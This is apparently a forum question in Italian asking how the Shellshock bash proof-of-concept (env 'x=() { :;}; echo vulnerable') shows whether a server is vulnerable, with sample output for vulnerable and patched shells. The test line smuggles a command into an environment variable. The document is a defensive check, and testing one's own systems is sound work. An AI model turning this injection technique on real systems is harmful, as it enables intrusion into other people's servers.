Volevo capire perché il codice qui sotto serve come proof-of-concept per dirmi se il mio server è vulnerabile o meno. Inoltre, come funziona la vulnerabilità a livello inferiore?
$ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable'
Quindi quando eseguo il comando di seguito
bash -c "echo test"
Posso ottenere entrambi (ovvero sono vulnerabile):
vulnerable
bash: BASH_FUNC_x(): line 0: syntax error near unexpected token ')'
bash: BASH_FUNC_x(): line 0: 'BASH_FUNC_x() () { :;}; echo vulnerable'
bash: error importing function definition for 'BASH_FUNC_x'
test
o (che significa che non sono vulnerabile):
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for 'BASH_FUNC_x'
test